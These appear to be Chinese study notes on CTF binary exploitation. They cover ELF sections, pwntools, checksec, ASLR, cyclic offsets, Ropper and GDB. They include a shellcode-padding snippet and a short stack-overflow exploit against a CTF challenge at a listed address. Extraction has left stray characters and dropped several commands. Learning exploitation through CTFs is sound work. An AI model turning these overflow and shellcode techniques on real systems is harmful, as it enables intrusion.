# PWN
# ELF 文件
ELF 文件中包含多个节 section.
名称 |
作用 |
.text |
代码 |
.rdata |
字符串,不可修改的数据 |
.data |
已经初始化的可修改数据 |
.bss |
未被初始化的可修改数据 |
.ple 与 .got |
动态链接函数地址 |
|
|

GOT 表介绍的博客
l用 vmmap 可以看到内存的表
可以看到内存里有 libc.so
这个库
libc 直接运行可以显示出版本
l# 工具
# 本地调试
n | io = process("./vuln") |
| io = process(["python3", "chall.py"]) |
# 返回可交互的界面
n | from pwn import * |
| io = remote('ip',port) |
| io.interactive() |
# checksec 查看文件信息
l会显示
- Arch, 架构
- Stack: No canary 说明没有栈 canary
- NX 防护。如果 NX Enabled 说明堆栈不可执行
- PIE:在没有开启 PIE 的情况下,bss 段的地址是固定的
# ASLR
现代操作系统都默认开启 ASLR
ASLR: 开启时,堆栈,libc 的地址会随机化
# CYCLIC
可以生成可以定位的字符串
l确定偏移:先去 gdb 溢出后找到 Invalid address 0x62616164
之类的
然后
l得出偏移,然后可以放在
n | asm(shellcraft.sh()).lshift(<偏移量>, 'a') |
# Stack Overflow 栈溢出
栈溢出是向高地址溢出
攻防世界 hello_pwn
n | from pwn import * |
| io = remote("61.147.171.105", 53481) |
| io.sendline(b"a"*4 + p64(0x6E756161)) |
| io.interactive() |
# ROP
# Ropper
# 在 Ubuntu 添加 Kali 源
sudo 编辑 /etc/apt/sources.list
加入
l | deb http://http.kali.org/kali kali-rolling main contrib non-free |
然后添加 GPG 密钥
l | wget -q -O - https://archive.kali.org/archive-key.asc | sudo apt-key add - |
然后 apt update 就可以了
# 安装 Ropper
l# 使用 Ropper
打开 ropper
l加载文件
l搜索 gadget
l退出
l# GDB 调试
# TUI
# 打开 TUI
l# 打开汇编窗口
l# 打印
l# 检查内存
l | x /1wx 0x08000000 |
| x /16wx $sp |